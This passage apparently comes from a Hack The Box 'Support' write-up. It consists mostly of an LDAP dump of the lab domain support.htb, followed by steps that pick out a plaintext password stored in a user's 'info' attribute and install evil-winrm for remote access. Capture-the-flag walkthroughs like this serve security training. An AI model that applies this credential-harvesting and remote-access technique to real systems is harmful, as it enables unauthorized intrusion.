showInAdvancedViewOnly: TRUE
name: DFSR-GlobalSettings
objectGUID:: HbjgtRx9sk2Dzp6Nn8dJaw==
objectCategory: CN=ms-DFSR-GlobalSettings,CN=Schema,CN=Configuration,DC=suppor
 t,DC=htb
dSCorePropagationData: 16010101000000.0Z
msDFSR-Flags: 48

# Domain System Volume, DFSR-GlobalSettings, System, support.htb
dn: CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,DC=support,DC=htb
objectClass: top
objectClass: msDFSR-ReplicationGroup
cn: Domain System Volume
distinguishedName: CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,DC
 =support,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528110953.0Z
uSNCreated: 12573
uSNChanged: 12573
showInAdvancedViewOnly: TRUE
name: Domain System Volume
objectGUID:: BE/iXLpuEEa2JvNQlLAxYg==
objectCategory: CN=ms-DFSR-ReplicationGroup,CN=Schema,CN=Configuration,DC=supp
 ort,DC=htb
dSCorePropagationData: 16010101000000.0Z
msDFSR-ReplicationGroupType: 1

# Content, Domain System Volume, DFSR-GlobalSettings, System, support.htb
dn: CN=Content,CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,DC=sup
 port,DC=htb
objectClass: top
objectClass: msDFSR-Content
cn: Content
distinguishedName: CN=Content,CN=Domain System Volume,CN=DFSR-GlobalSettings,C
 N=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528110953.0Z
uSNCreated: 12574
uSNChanged: 12574
showInAdvancedViewOnly: TRUE
name: Content
objectGUID:: N9CBw3PeL0en/S01ob3v1g==
objectCategory: CN=ms-DFSR-Content,CN=Schema,CN=Configuration,DC=support,DC=ht
 b
dSCorePropagationData: 16010101000000.0Z

# SYSVOL Share, Content, Domain System Volume, DFSR-GlobalSettings, System, sup
 port.htb
dn: CN=SYSVOL Share,CN=Content,CN=Domain System Volume,CN=DFSR-GlobalSettings,
 CN=System,DC=support,DC=htb
objectClass: top
objectClass: msDFSR-ContentSet
cn: SYSVOL Share
distinguishedName: CN=SYSVOL Share,CN=Content,CN=Domain System Volume,CN=DFSR-
 GlobalSettings,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528110953.0Z
uSNCreated: 12575
uSNChanged: 12575
showInAdvancedViewOnly: TRUE
name: SYSVOL Share
objectGUID:: Qik1pOun7UeNhn5sYlKQwg==
objectCategory: CN=ms-DFSR-ContentSet,CN=Schema,CN=Configuration,DC=support,DC
 =htb
dSCorePropagationData: 16010101000000.0Z
msDFSR-FileFilter: ~*,*.TMP,*.BAK
msDFSR-DirectoryFilter: DO_NOT_REMOVE_NtFrs_PreInstall_Directory,NtFrs_PreExis
 ting___See\_EventLog

# Topology, Domain System Volume, DFSR-GlobalSettings, System, support.htb
dn: CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,DC=su
 pport,DC=htb
objectClass: top
objectClass: msDFSR-Topology
cn: Topology
distinguishedName: CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,
 CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528110953.0Z
uSNCreated: 12576
uSNChanged: 12576
showInAdvancedViewOnly: TRUE
name: Topology
objectGUID:: T3qlyAt8U0+A6Sp3TtffKA==
objectCategory: CN=ms-DFSR-Topology,CN=Schema,CN=Configuration,DC=support,DC=h
 tb
dSCorePropagationData: 16010101000000.0Z

# DC, Topology, Domain System Volume, DFSR-GlobalSettings, System, support.htb
dn: CN=DC,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System
 ,DC=support,DC=htb
objectClass: top
objectClass: msDFSR-Member
cn: DC
distinguishedName: CN=DC,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSet
 tings,CN=System,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528110953.0Z
uSNCreated: 12579
uSNChanged: 12579
showInAdvancedViewOnly: TRUE
name: DC
objectGUID:: +3bnTDUjCEiHH3qTEj5bLA==
serverReference: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,
 CN=Sites,CN=Configuration,DC=support,DC=htb
objectCategory: CN=ms-DFSR-Member,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z
msDFSR-ComputerReference: CN=DC,OU=Domain Controllers,DC=support,DC=htb
msDFSR-MemberReferenceBL: CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DC,
 OU=Domain Controllers,DC=support,DC=htb

# DFSR-LocalSettings, DC, Domain Controllers, support.htb
dn: CN=DFSR-LocalSettings,CN=DC,OU=Domain Controllers,DC=support,DC=htb
objectClass: top
objectClass: msDFSR-LocalSettings
cn: DFSR-LocalSettings
distinguishedName: CN=DFSR-LocalSettings,CN=DC,OU=Domain Controllers,DC=suppor
 t,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528111454.0Z
uSNCreated: 12580
uSNChanged: 12976
showInAdvancedViewOnly: TRUE
name: DFSR-LocalSettings
objectGUID:: VnqCAg7FOU+q9l5ABzLKNg==
objectCategory: CN=ms-DFSR-LocalSettings,CN=Schema,CN=Configuration,DC=support
 ,DC=htb
dSCorePropagationData: 20220528111813.0Z
dSCorePropagationData: 20220528110953.0Z
dSCorePropagationData: 16010101000001.0Z
msDFSR-Version: 1.0.0.0
msDFSR-Flags: 48

# Domain System Volume, DFSR-LocalSettings, DC, Domain Controllers, support.htb
dn: CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DC,OU=Domain Controllers,
 DC=support,DC=htb
objectClass: top
objectClass: msDFSR-Subscriber
cn: Domain System Volume
distinguishedName: CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DC,OU=Doma
 in Controllers,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528110953.0Z
uSNCreated: 12583
uSNChanged: 12583
showInAdvancedViewOnly: TRUE
name: Domain System Volume
objectGUID:: zOBqExmRRUGhtTuMcBq/3w==
objectCategory: CN=ms-DFSR-Subscriber,CN=Schema,CN=Configuration,DC=support,DC
 =htb
dSCorePropagationData: 20220528111813.0Z
dSCorePropagationData: 20220528110953.0Z
dSCorePropagationData: 16010101000001.0Z
msDFSR-ReplicationGroupGuid:: BE/iXLpuEEa2JvNQlLAxYg==
msDFSR-MemberReference: CN=DC,CN=Topology,CN=Domain System Volume,CN=DFSR-Glob
 alSettings,CN=System,DC=support,DC=htb

# SYSVOL Subscription, Domain System Volume, DFSR-LocalSettings, DC, Domain Con
 trollers, support.htb
dn: CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=DC
 ,OU=Domain Controllers,DC=support,DC=htb
objectClass: top
objectClass: msDFSR-Subscription
cn: SYSVOL Subscription
distinguishedName: CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-Loca
 lSettings,CN=DC,OU=Domain Controllers,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528110953.0Z
whenChanged: 20220528111454.0Z
uSNCreated: 12584
uSNChanged: 12977
showInAdvancedViewOnly: TRUE
name: SYSVOL Subscription
objectGUID:: vBxFmNFFz0WhbI7YzXiCfw==
objectCategory: CN=ms-DFSR-Subscription,CN=Schema,CN=Configuration,DC=support,
 DC=htb
dSCorePropagationData: 20220528111813.0Z
dSCorePropagationData: 16010101000001.0Z
msDFSR-RootPath: C:\\Windows\\SYSVOL\\domain
msDFSR-StagingPath: C:\\Windows\\SYSVOL\\staging areas\\support.htb
msDFSR-Enabled: TRUE
msDFSR-Options: 0
msDFSR-ContentSetGuid:: Qik1pOun7UeNhn5sYlKQwg==
msDFSR-ReplicationGroupGuid:: BE/iXLpuEEa2JvNQlLAxYg==
msDFSR-ReadOnly: FALSE

# Shared Support Accounts, Users, support.htb
dn: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: group
cn: Shared Support Accounts
member: CN=support,CN=Users,DC=support,DC=htb
distinguishedName: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111132.0Z
whenChanged: 20220528111204.0Z
uSNCreated: 12599
uSNChanged: 12635
name: Shared Support Accounts
objectGUID:: dVLmpti4CUarxgBZ0GZQFw==
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILTwQAAA==
sAMAccountName: Shared Support Accounts
sAMAccountType: 268435456
groupType: -2147483646
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 16010101000000.0Z

# ldap, Users, support.htb
dn: CN=ldap,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: ldap
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=ldap,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111146.0Z
whenChanged: 20260415030056.0Z
uSNCreated: 12603
uSNChanged: 90228
company: support
streetAddress: Skipper Bowles Dr
name: ldap
objectGUID:: /6UvjDrNT0GyZFt9CzrgfQ==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099064620523
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUAQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: ldap
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111146.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 134206956560042942

# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
objectGUID:: CqM5MfoxMEWepIBTs5an8Q==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099209777070
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: support
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111201.0Z
dSCorePropagationData: 16010101000000.0Z

# smith.rosario, Users, support.htb
dn: CN=smith.rosario,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: smith.rosario
sn: smith
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: rosario
distinguishedName: CN=smith.rosario,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111219.0Z
whenChanged: 20220528111219.0Z
uSNCreated: 12638
uSNChanged: 12653
company: support
streetAddress: Skipper Bowles Dr
name: smith.rosario
objectGUID:: xrmo4GlsuUajfnkG3CBMrg==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099393057986
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUgQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: smith.rosario
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111219.0Z
dSCorePropagationData: 16010101000000.0Z
mail: smith.rosario@support.htb

# hernandez.stanley, Users, support.htb
dn: CN=hernandez.stanley,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: hernandez.stanley
sn: hernandez
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: stanley
distinguishedName: CN=hernandez.stanley,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111234.0Z
whenChanged: 20220528111235.0Z
uSNCreated: 12655
uSNChanged: 12670
company: support
streetAddress: Skipper Bowles Dr
name: hernandez.stanley
objectGUID:: L81uL06kXEOWM2Qn8ww2qA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099548708177
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILUwQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: hernandez.stanley
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111235.0Z
dSCorePropagationData: 16010101000000.0Z
mail: hernandez.stanley@support.htb

# wilson.shelby, Users, support.htb
dn: CN=wilson.shelby,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: wilson.shelby
sn: wilson
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: shelby
distinguishedName: CN=wilson.shelby,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111250.0Z
whenChanged: 20220528111251.0Z
uSNCreated: 12672
uSNChanged: 12687
company: support
streetAddress: Skipper Bowles Dr
name: wilson.shelby
objectGUID:: XbKIVlHxiUa1D5CZfJJG9A==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099703526781
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILVAQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: wilson.shelby
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111250.0Z
dSCorePropagationData: 16010101000000.0Z
mail: wilson.shelby@support.htb

# anderson.damian, Users, support.htb
dn: CN=anderson.damian,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: anderson.damian
sn: anderson
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: damian
distinguishedName: CN=anderson.damian,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111305.0Z
whenChanged: 20220528111306.0Z
uSNCreated: 12689
uSNChanged: 12704
company: support
streetAddress: Skipper Bowles Dr
name: anderson.damian
objectGUID:: 3yoA+1yHqUaNkyZV3AwohQ==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982099859932951
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILVQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: anderson.damian
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111306.0Z
dSCorePropagationData: 16010101000000.0Z
mail: anderson.damian@support.htb

# thomas.raphael, Users, support.htb
dn: CN=thomas.raphael,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: thomas.raphael
sn: thomas
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: raphael
distinguishedName: CN=thomas.raphael,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111321.0Z
whenChanged: 20220528111322.0Z
uSNCreated: 12706
uSNChanged: 12721
company: support
streetAddress: Skipper Bowles Dr
name: thomas.raphael
objectGUID:: sard51WjwU2UuCtT0BGwug==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982100017745577
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILVgQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: thomas.raphael
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111322.0Z
dSCorePropagationData: 16010101000000.0Z
mail: thomas.raphael@support.htb

# levine.leopoldo, Users, support.htb
dn: CN=levine.leopoldo,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: levine.leopoldo
sn: levine
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: leopoldo
distinguishedName: CN=levine.leopoldo,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111337.0Z
whenChanged: 20220528111338.0Z
uSNCreated: 12891
uSNChanged: 12906
company: support
streetAddress: Skipper Bowles Dr
name: levine.leopoldo
objectGUID:: zaT1TYtnNUKvrkK/fHjf0Q==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982100175089241
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILVwQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: levine.leopoldo
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111337.0Z
dSCorePropagationData: 16010101000000.0Z
mail: levine.leopoldo@support.htb

# raven.clifton, Users, support.htb
dn: CN=raven.clifton,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: raven.clifton
sn: raven
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: clifton
distinguishedName: CN=raven.clifton,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111352.0Z
whenChanged: 20220528111353.0Z
uSNCreated: 12908
uSNChanged: 12923
company: support
streetAddress: Skipper Bowles Dr
name: raven.clifton
objectGUID:: r4Ljo7fDek6FZN1CBI375w==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982100331339215
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILWAQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: raven.clifton
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111353.0Z
dSCorePropagationData: 16010101000000.0Z
mail: raven.clifton@support.htb

# bardot.mary, Users, support.htb
dn: CN=bardot.mary,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: bardot.mary
sn: bardot
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: mary
distinguishedName: CN=bardot.mary,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111408.0Z
whenChanged: 20220528111409.0Z
uSNCreated: 12925
uSNChanged: 12940
company: support
streetAddress: Skipper Bowles Dr
name: bardot.mary
objectGUID:: bp+GlFYgwUiy169DiKxEfg==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982100486339253
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILWQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: bardot.mary
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111408.0Z
dSCorePropagationData: 16010101000000.0Z
mail: bardot.mary@support.htb

# cromwell.gerard, Users, support.htb
dn: CN=cromwell.gerard,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: cromwell.gerard
sn: cromwell
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: gerard
distinguishedName: CN=cromwell.gerard,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111424.0Z
whenChanged: 20220528111424.0Z
uSNCreated: 12942
uSNChanged: 12957
company: support
streetAddress: Skipper Bowles Dr
name: cromwell.gerard
objectGUID:: t5fIUmTNZEmsOEoXkg1PfA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982100642589204
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILWgQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: cromwell.gerard
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111424.0Z
dSCorePropagationData: 16010101000000.0Z
mail: cromwell.gerard@support.htb

# monroe.david, Users, support.htb
dn: CN=monroe.david,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: monroe.david
sn: monroe
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: david
distinguishedName: CN=monroe.david,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111439.0Z
whenChanged: 20220528111440.0Z
uSNCreated: 12959
uSNChanged: 12974
company: support
streetAddress: Skipper Bowles Dr
name: monroe.david
objectGUID:: BAScccXiIEKhwgp//rBwwA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982100797120581
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILWwQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: monroe.david
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111439.0Z
dSCorePropagationData: 16010101000000.0Z
mail: monroe.david@support.htb

# west.laura, Users, support.htb
dn: CN=west.laura,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: west.laura
sn: west
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: laura
distinguishedName: CN=west.laura,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111455.0Z
whenChanged: 20220528111456.0Z
uSNCreated: 12979
uSNChanged: 12994
company: support
streetAddress: Skipper Bowles Dr
name: west.laura
objectGUID:: bqAMeaq42kGIZbfMnxXxRA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982100954464244
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILXAQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: west.laura
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111455.0Z
dSCorePropagationData: 16010101000000.0Z
mail: west.laura@support.htb

# langley.lucy, Users, support.htb
dn: CN=langley.lucy,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: langley.lucy
sn: langley
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: lucy
distinguishedName: CN=langley.lucy,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111510.0Z
whenChanged: 20220528111511.0Z
uSNCreated: 12996
uSNChanged: 13011
company: support
streetAddress: Skipper Bowles Dr
name: langley.lucy
objectGUID:: T9fnf6QIlE2uz+4YhFZ3aw==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982101109308007
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILXQQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: langley.lucy
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111511.0Z
dSCorePropagationData: 16010101000000.0Z
mail: langley.lucy@support.htb

# daughtler.mabel, Users, support.htb
dn: CN=daughtler.mabel,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: daughtler.mabel
sn: daughtler
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: mabel
distinguishedName: CN=daughtler.mabel,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111526.0Z
whenChanged: 20220528111527.0Z
uSNCreated: 13013
uSNChanged: 13028
company: support
streetAddress: Skipper Bowles Dr
name: daughtler.mabel
objectGUID:: iWH2yMa7h0e1dPAKT9MtgA==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982101262745576
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILXgQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: daughtler.mabel
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111526.0Z
dSCorePropagationData: 16010101000000.0Z
mail: daughtler.mabel@support.htb

# stoll.rachelle, Users, support.htb
dn: CN=stoll.rachelle,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: stoll.rachelle
sn: stoll
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: rachelle
distinguishedName: CN=stoll.rachelle,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111542.0Z
whenChanged: 20220528111543.0Z
uSNCreated: 13030
uSNChanged: 13045
company: support
streetAddress: Skipper Bowles Dr
name: stoll.rachelle
objectGUID:: Oe9hWbyotkWg+Aty/bcKYw==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982101422902140
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILXwQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: stoll.rachelle
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111542.0Z
dSCorePropagationData: 16010101000000.0Z
mail: stoll.rachelle@support.htb

# ford.victoria, Users, support.htb
dn: CN=ford.victoria,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: ford.victoria
sn: ford
c: US
l: Chapel Hill
st: NC
postalCode: 27514
givenName: victoria
distinguishedName: CN=ford.victoria,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111557.0Z
whenChanged: 20220528111558.0Z
uSNCreated: 13048
uSNChanged: 13063
company: support
streetAddress: Skipper Bowles Dr
name: ford.victoria
objectGUID:: igFAMPhgAEqMFr/4HUIY5A==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132982101581183009
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAG9v9Y4G6g8nmcEILYAQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: ford.victoria
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=support,DC=htb
dSCorePropagationData: 20220528111558.0Z
dSCorePropagationData: 16010101000000.0Z
mail: ford.victoria@support.htb

# BCKUPKEY_d4c2e507-3d7f-4456-8922-648a162e5043 Secret, System, support.htb
dn: CN=BCKUPKEY_d4c2e507-3d7f-4456-8922-648a162e5043 Secret,CN=System,DC=suppo
 rt,DC=htb

# BCKUPKEY_P Secret, System, support.htb
dn: CN=BCKUPKEY_P Secret,CN=System,DC=support,DC=htb

# BCKUPKEY_5b571140-c8ca-4c9e-b367-8e0b12026b5d Secret, System, support.htb
dn: CN=BCKUPKEY_5b571140-c8ca-4c9e-b367-8e0b12026b5d Secret,CN=System,DC=suppo
 rt,DC=htb

# BCKUPKEY_PREFERRED Secret, System, support.htb
dn: CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=support,DC=htb

# search reference
ref: ldap://ForestDnsZones.support.htb/DC=ForestDnsZones,DC=support,DC=htb

# search reference
ref: ldap://DomainDnsZones.support.htb/DC=DomainDnsZones,DC=support,DC=htb

# search reference
ref: ldap://support.htb/CN=Configuration,DC=support,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 267
# numEntries: 263
# numReferences: 3

From the listed users, one in particular stands out support. Inspecting this account’s properties reveals a non-standard attribute named info, which contains the value Ironside47pleasure40Watchful likely a password.

info: Ironside47pleasure40Watchful

Additionally, the user is part of the Remote Management Users group, granting WinRM access. With that in mind, we can try connecting using evil-winrm.

make sure to clone it first

git clone https://github.com/Hackplayers/evil-winrm.git && \
  sudo gem install winrm winrm-fs

Now, run it

